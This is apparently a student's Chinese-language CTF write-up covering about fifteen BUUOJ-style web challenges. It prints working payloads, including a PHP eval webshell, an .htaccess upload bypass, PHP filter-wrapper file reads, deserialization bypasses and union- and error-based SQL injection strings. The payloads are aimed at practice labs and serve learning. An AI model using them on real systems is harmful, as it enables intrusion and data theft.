CTF学习:WEB(更新ing)
web1:upload
1.进入网站(文件上传题?)--->CTRL+U查看源码(无果)--->导入带有一句话木马的.php文件(无法上传非图片文件)
2.使用Javascript Switch插件关闭网页的js设置后再次上传图片(成功)--->将文件上传后的路径添加进蚁剑(密码为先前上传的.php文件中POST['']内的字符)
3.连入服务器后在html文件夹下发现flag.php文件(发现flag)
FLAG:
cyberpeace{1a12cb1117a9ca6d75451b4af22525df}
web2:极客大挑战 2019]Secret File 1.检查网页源代码(存在.php文件 进入)--->点击按钮(无果)--->在url输入index.php/robot.txt(无果) ![](https://img2024.cnblogs.com/blog/3541197/202411/3541197-20241107201044694-1104219031.png)
2.使用BP进行抓包发现存在.php网页提示--->进入提示的php.页面(提示flag存在于flag.php文件)--->进入flag.php页面(无果)
3.在flag,php页面输入伪协议(?file=php://filter/convert.base64-encode/resource=flag.php)试图获取flag(失败)--->在 secr3t.php 页面输入伪协议(成功获得flag.php页面的base64编码)--->经解码获得flag(说实话我不太明白为什么在flag.php使用伪协议不能获得flag.php的信息)
FLAG:flag{658173e5-6d14-4ab4-9d30-c023b84b2d05}
知识点:
伪协议:?file=php://filter/convert.base64-encode/resource=flag.php
其中 php: 是一种文件类型 ; *php://filter *是一种访问本地文件的协议; convert.base64-encode 表示获取的数据经过base64编码;
resource=flag.php 表示目标文件
web3:Http1
1.检查网页源代码(发现存在.php)
2.在bp中提交至重发--->按页面输入"Referer:https://Sycsecret.buuoj.cn"(来自网址)--->X-Forwarded-For:127.0.0.1(发送请求的ip)--->User-Agent: Syclover(请求头)--->获得flag
FLAG:flag{b7fa5342-cdb2-42e1-a5b0-d23dd98f5b34}
知识点:
xff:用来记录访问该网站的主机ip
User-Agent:告诉浏览器你的浏览器和使用的操作系统
web4:[ACTF2020 新生赛]BackupFile 1.Ctrl+U查看源码(无果)--->在url后先后输入/index.php;/index.phps;/index.bak;/robot.txt试图查询有无源码残留(无果)--->使用dirsearch扫描网站发现备份文件index.php.bak dirsearch扫描网站文件:python dirsearch.py -u "网页url"(不用加引号) -e* 2.在url后补充/index.php.bak获取文件(代码说明当key="123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3"且只有数字时就会发送flag,由于"=="是弱等于,"intval"表示转换为整数,因此只要输入key=123就能得到flag) ![](https://img2024.cnblogs.com/blog/3541197/202411/3541197-20241110210005512-441648547.png) ![](https://img2024.cnblogs.com/blog/3541197/202411/3541197-20241110210322971-403026114.png)
FLAG:flag{50ba85ab-58fb-4389-adaf-f490c87c3033}
知识点:
备份文件响应码为:200(也就是说扫200就好了不用一个个找半天)
命令:python dirsearch.py -u "URL" -i 200
web5:[极客大挑战 2019]PHP
1.根据题目提示得知网页存在备份文件--->使用dirsearch 扫描网站发现备份文件www.zip
命令:python dirsearch.py -u 网址 -e* -w db/dicc.txt -i 200
2.在url处输入www.zip下载文件(class.php和index.php 包含有用的信息)
3.index.php文件中的这段代码表示以get方式获得数据赋值给select变量然后对其进行反序列化
4.class.php文件中的代码表示:当对象被销毁时,__destruct 方法会被调用。这个方法首先检查 $password 是否等于 100,如果不是,则输出警告信息并终止脚本。如果 $password 是 100,则进一步检查 $username 是否为 'admin',如果是,则输出全局变量 $flag 的值
5.根据第4步的思路对username=admin 和 password=100 的数据进行序列化--->数据会被select变量获取进行反序列化(这时会重新调用__wakeup()魔术变量重新赋值,所以要改变序列化字符串跳过__wakeup())
序列化后的数据:O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
6.绕过__wakeup()魔术变量可以通过修改属性值,也就是将"Name"的值改为3及以上--->由于password和username皆由private封装,所以在类名和字段名前加入%00是不会被识别的(地址栏输入自带一次url解码%00在url解码后为 空 )--->获得flag
数据:?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
FLAG:flag{d7adc304-8aba-45fd-ad10-af61c12ea444}
知识点:
序列化
__wakeup()和__destruct魔术变量
private封装
web6:weak_auth
1.ctrl+u查看网页源代码(无果)--->依次输入1 1' 1'' 测试是否存在sql注入(无果)--->使用万能密码(提示需要作为admin登录)--->login输入admin password输入1(提示密码错误)--->查看输入后页面的源代码发现提示(字典--->爆破)
2.打开bp将页面发送到intruder--->按照先前的提示输入数据(因为已经知道username=admin所以只给password添加payload进行爆破)--->获得flag
注意:第2步抓包要在发送信息的那一步
FLAG:cyberpeace{59c9f477182b2734b868120e4d38b5bb}
知识点:
字典爆破:响应码为474时,表示正确(?)
web7:[RoarCTF 2019]Easy Calc
1.查看网页源码(发现calc.php文件)--->在url输入/calc.php跳转到calc.php页面
2.calc.php的代码用于使"num"仅接受数字,避免其他字符输入
3.在输入num的同时尝试绕过黑名单清单获得根目录下的文件信息(发现存在f1agg文件)
/?%20num=1;var_dump(scandir(chr(47)))
tips:num前面的%20是空格经过url编码的结果;在num前输入空格是因为php在将参数转换成有效变量名时会删除空白字符,这样做可以在上传非法字符的同时使代码正常运行
var_dump()函数用于打印变量相关信息
scandir()函数列出指定路径中的目录和文件
4.将f1agg按ASCLL码转化成数字后打印f1agg的信息
/?%20num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
tips:file_get_contents()函数读取整个文件的内容到一个字符串中
FLAG:flag{531d5a1c-5ffb-4dd6-9cd8-2b6fa3e9f00b}
web8:[HCTF 2018]admin //(未完)
1.先注册一个用户名密码皆为123账号(登陆后在源代码发现提示,"you are not admin")--->在changepassword页面的源代码中发现提示(考察session伪造?)
提示:https://github.com/woadsl1234/hctf_flask/
2.F12,在cookie处找到session--->将session数据导入python脚本解密
解密后的数据:
{'_id': b'c4f6f225c3906a51e74a85f22cbc819561ede6c6e7b5c02113cfec78185de4a08e4c42ed1aa63c26af98dabcb516e01b28c19f708f75b0443a9c03a842b3005f', 'csrf_token': b'4d9be6073d71abe550e41dfccd424b8365ae1164', 'image': b'G6QM', 'name': '123'}
3.在config.py文件寻找密匙ckj123(源代码页面打不开,这个密匙是看别的wp拿到的)
4.将name(用户名)改为admin后导入flask加密
web9:[极客大挑战 2019]BuyFlag //复现失败(进入payflag页面时显示超时,暂时无法解决) 未完 1.查看首页网页源代码(无果)--->在菜单进入PLAYFLAG(发现提示)--->查看源代码(发现存在代码) ![](https://img2024.cnblogs.com/blog/3541197/202411/3541197-20241114203539428-1967860170.png) 提示:(1)money=100000000 ;(2)student来自CUIT;(3)answer the correct password;(4)Only Cuit's students can buy the FLAG(这里的student是指请求吗?) ![](https://img2024.cnblogs.com/blog/3541197/202411/3541197-20241114202553873-753573687.png) 2.使password==404且绕过数字输入限制(因为是弱类型,这里输入404a绕过) password=404a&money[]=100000000
web10:[极客大挑战 2019]BabySQL
1.查看网页源代码(无果)--->对用户名输入1 1' 1''和密码输入1查看闭合类型(单引号闭合)
2.使用万能密码admin'or 1=1#(回显中没有or,说明被过滤了)
3.双写or绕过(成功)
4.在密码处依次输入: 1' oorrder bbyy 1# --->1' oorrder bbyy 1,2# --->1' oorrder bbyy 1,2,3# _1' oorrder bbyy 1,2,3,4# (报错了,说明有3个注入点)
5.输入:1'ununionion seselectlect 1,2,3#(找到库了)--->1'ununionion seselectlect 1,2,database()#
6.输入:1' ununionion selselectect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema=database()#
tips:
1': 这是一个单引号,用于闭合前面的字符串。
union select: 这是SQL中的UNION操作符,用于合并两个或多个SELECT语句的结果集。
1,2,group_concat(table_name): 这里选择了一个常量值1和2,以及使用GROUP_CONCAT函数将当前数据库中所有表的名称连接成一个字符串。
from information_schema.tables: 指定数据来源是information_schema.tables表,这个表包含了数据库中所有表的信息。
where table_schema=database(): 这个条件用来过滤出当前数据库的表。
: 这是一个注释符号,表示后面的内容会被忽略。
7.输入:1' ununionion selselectect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name='b4bsql'#
8.输入:1' ununionion selselectect 1,2,group_concat(id,username,passwoorrd) frfromom b4bsql#(获取b4bsql表内的内容)--->找到flag
FLAG:flag{b63ee8ea-f4e2-4901-a016-afa1ba67981b}
web11:[BJDCTF2020]Easy MD5
1.CTRL+U查看源码(无果)--->在输入框依次输入1 1' 1'' 查看是否存在sql注入(无果)--->F12后输入1查看请求头(发现提示)--->
提示:select * from 'admin' where password=md5($pass, true)
md5的格式:md5(string,raw)
string:计算的字符串,必选
raw:选择16进制或2进制输出格式.可选;TURE是16字符二进制.FALSE是32字符16进制
md5($pass, true)的意思是输入的数据经过md5后会变成 password= 'xxx' or 1 (永久为真)
使用ffifdyop可以把检测变成 'or' 6xxxxx
select * from
adminwhere password=''or'6XXXXXXXXX'
2.输入ffifdyop绕过 select * from 'admin' where password=md5($pass, true)--->查看新页面的源代码(发现提示)
以GET方法参入a和b,如果a不等于b且a和b经过md5后相同就能进到下一步(?)
所以下一步的目标就是利用若等于绕过判定,0e在比较时会被认为科学计数法(0不管几次方都只会是0,所以找到两个0e开头的md5数据就能绕过判定)
3.Hackbar传参: ?a=QNKCDZO&b=240610708 (发现提示)
这次的php代码大体的上一个一致,只不过请求方式改成POST,md5那边改成了强等于不能用类型绕过,但是md5有个特点是不能识别数组的数据,所以可以参入两个数组绕过
4.Hackbar传参: param1[]=1¶m2[]=3 获得flag
FLAG:flag{509ca498-82b9-4e0c-8dc3-caf42c662943}
知识点:md5加密:弱/强类型绕过md5
web12:[MRCTF2020]你传你🐎呢(好生草)
1.进入页面(疑似文件上传题,打开蚁剑)查看网页源代码(无果)--->传入一句话木马,点击"一键去世"前在BP拦截(抓包发到repeater)
一句话木马:
<?php @eval($_POST['a']) ?>
2.在repeater页面修改文件后缀为"jpg" Content-Type为"image/jpeg"(上传成功)
Content-Disposition: form-data; name="uploaded"
Content-Type: image/jpeg
我的BP不知道因为什么原因抽风没能传上去要在Content-Type下一行补上
<?php @eval($_POST['a']) ?>
3.传入.htaccess文件(文件名就是 .htaccess )解析漏洞--->修改Content-Type为"image/jpeg"(上传成功)
<FilesMatch "abc" > SetHandler application/x-httpd-php </FilesMatch>
这段代码的作用是将目录下的abc文件当成php解析
4.回到第二步将filename="1.jpg"修改为abc再次发送--->将回显的数据和网址拼接后输入蚁剑(在根目录下找到flag文件)
http://d37c5667-4829-4fb8-b784-ec2285e09c2d.node5.buuoj.cn:81/upload/e7bd2dc8a6542c893919acdd2204ac04/abc
FLAG:flag{0a591d5a-70dd-4b6a-909a-9d1d00d8c92b}
web13:[护网杯 2018]easy_tornado
1.查看源码(无果)--->依次打开三个文本文件
这里提示flag在fllllllllllllag文件中
2.在url输入fllllllllllllag.php和fllllllllllllag.txt(无果)--->在URL处输入error?msg=1(回显1)--->输入error?msg={{9*9}}(回显ORZ,说明被过滤)
3.在url输入error?msg={{handler. Settings}} (回显出cookie)
这里的 handler. Settings 可以看作tornado模板下的环境变量
4.将/fllllllllllllag进行md5加密后和cookie内的字符串拼接然后在进行md5加密后(按照先前的提示md5(cookie_secret+md5(filename))拼接)
获得e6e669fda789a4e530a5d2d327fdcdd8
5.在url处输入
file? Filename=/fllllllllllllag&filehash=e6e669fda789a4e530a5d2d327fdcdd8
(获得flag)
FLAG:flag{ee4a13c1-90e6-4869-a0ad-89d953ff5b01}
web13:[ZJCTF 2019]NiZhuanSiWei(还不会在博客园引入多行代码块,请见谅这里用图片代替)
1.进入页面(代码审计)--->绕过第一个if
这段代码要求以GET方法传入三个参数
isset()函数:检测变量是否已设置并且非 NULL
file_get_contents()函数:把整个文件读入一个字符串中
unserialize()函数:用于将通过 serialize() 函数序列化后的对象或数组进行反序列化,并返回原始的对象结构
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf"))
其中if语句的第一步要求$test非空且传入一个文件,文件中还需要有一段"welcome to the zjctf"字符串
构造payload:
?text=data://text/plain,welcome to the zjctf
2.绕过第二个if(根据提示提取useless.php文件内的数据)
构造payload:
&file=php://filter/read=convert.base64-encode/resource=useless.php
read=convert.base64-encode: 指定要执行的操作是读取,并应用 convert.base64-encode 过滤器将数据转换为 Base64 编码
3.将页面的字符串经过base64解码获得php代码--->绕过反序列化
&password = unserialize($password);
(绕过第二个if时,代码提示会对$password进行反序列化编译,所以修改$file=flag.php再对其进行序列化后赋值给$password)
[也就是serialize($password)]
序列化后的$password:
O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
payload:
&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
最终payload:
/?text=data://text/plain,welcome%20to%20the%20zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
4.查看新页面源码(获得flag)
FLAG:flag{623f05b6-c3b1-4713-99a1-201c68185e2f}
web14:[MRCTF2020]Ez_bypass
1.代码审计
I put something in F12 for you
include 'flag.php';
$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
if(isset($_GET['gg'])&&isset($_GET['id'])) {
$id=$_GET['id'];
$gg=$_GET['gg'];
if (md5($id) === md5($gg) && $id !== $gg) {
echo 'You got the first step';
if(isset($_POST['passwd'])) {
$passwd=$_POST['passwd'];
if (!is_numeric($passwd))
{
if($passwd==1234567)
{
echo 'Good Job!';
highlight_file('flag.php');
die('By Retr_0');
}
else
{
echo "can you think twice??";
}
}
else{
echo 'You can not get it !';
}
}
else{
die('only one way to get the flag');
}
}
else {
echo "You are not a real hacker!";
}
}
else{
die('Please input first');
}
}Please input first
第1-2个if要求以GET方式传参,gg和id不为空;在强等于的情况下两个变量的值经过md5编码后相等,在弱等于的情况下不相等
先前学过md5不能识别数组,所以payload:
?id[]=1&gg[]=2
2.使用hackbar以POST方式给passwd赋值(没看完代码以为$passwd也是GET请求,在URL试了半天...)
第3-5if要求以POST方式传参$passwd不为空;传入的数据不能是数字;在弱等于的情况下等于'1234567'
弱等于先判断类型在进行比较,所以payload:
passwd=1234567a
FLAG:flag{cbe699ea-81c8-4410-a4d0-c221609f3bee}
web15:[极客大挑战 2019]HardSQL
1.查看网页源代码是否存在提示(无果)--->密码输入1用户名分别输入1 1' 1'' 查看sql闭合(是单引号)
2.使用万能密码 admin'or 1=1# (无果,后续双写 or 也失败了)
url:
/check.php?username=1&password=admin%27or+1%3D1%23
3.看别的wp说是这里是回显报错,应该用报错注入来解(这里使用updatexml)
xpath报错注入:
extractvalue()函数:用于从XML格式数据中提取指定节点的值
语法:EXTRACTVALUE(xml_data, xpath_expression)
xml_data:包含XML数据的字段或表达式,通常是一个字符串类型
xpath_expression:XPath路径表达式,用于指定要提取值的位置
updatexml()函数:用于更新XML数据类型字段的函数
语法:UPDATEXML(xml_target, xpath_expr, new_value)
xml_target:要更新的XML类型的字段名或XML字符串
xpath_expr:XPath表达式,用于定位要更新的元素
new_value:新的值,用于替换定位到的元素
构造payload(获得库名"geek"):
admin'or(updatexml(1,concat(0x7e,database(),0x7e),1))#
(1).第一个 1 是 xml_target,这里用数字1作为占位符,因为实际的XML内容并不重要。
(2).concat(0x7e, database(), 0x7e) 是 xpath_expr,其中 database() 函数返回当前数据库的名称。
0x7e 是十六进制表示的波浪号(~),用作分隔符。
(3).最后一个 1 是 new_value,这里用数字1作为占位符,因为我们只关心XPath表达式的结果
构造payload(查询表名"H4rDsq1"):
admin'or(updatexml(1,concat(0x7e,(select(table_name)from(information_schema.tables)where(table_schema)like('geek')),0x7e),1))#
tips:
(select (table_name) from (information_schema.tables) where (table_schema) like ('geek')) 是一个子查询,从information_schema.tables表中选择所有表名,这些表属于名为geek的数据库模式
构造payload(获得列名):
admin'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))#
tips:
(select (group_concat(column_name)) from (information_schema.columns) where (table_name) like ('H4rDsq1')) 是一个子查询,从information_schema.columns表中选择所有列名,这些列属于名为H4rDsq1的表,并使用group_concat()函数将它们连接成一个字符串
构造payload(获取flag):
admin'or(updatexml(1,concat(0x7e,(select(group_concat(id,'~',username,'~',password))from(H4rDsq1)),0x7e),1))#
前半段flag:
~1~flag~flag{0462443f-b427-47f6-
构造payload(获取flag):
admin'or(updatexml(1,concat(0x7e,(select(right(password,35))from(H4rDsq1)),0x7e),1))#
后半段:flag:
~3f-b427-47f6-9458-7a48e705e6ae}
FLAG:flag{0462443f-b427-47f6-9458-7a48e705e6ae}
知识点:xpath报错注入(说实话还是不明白,没有sql基础学起来好吃力)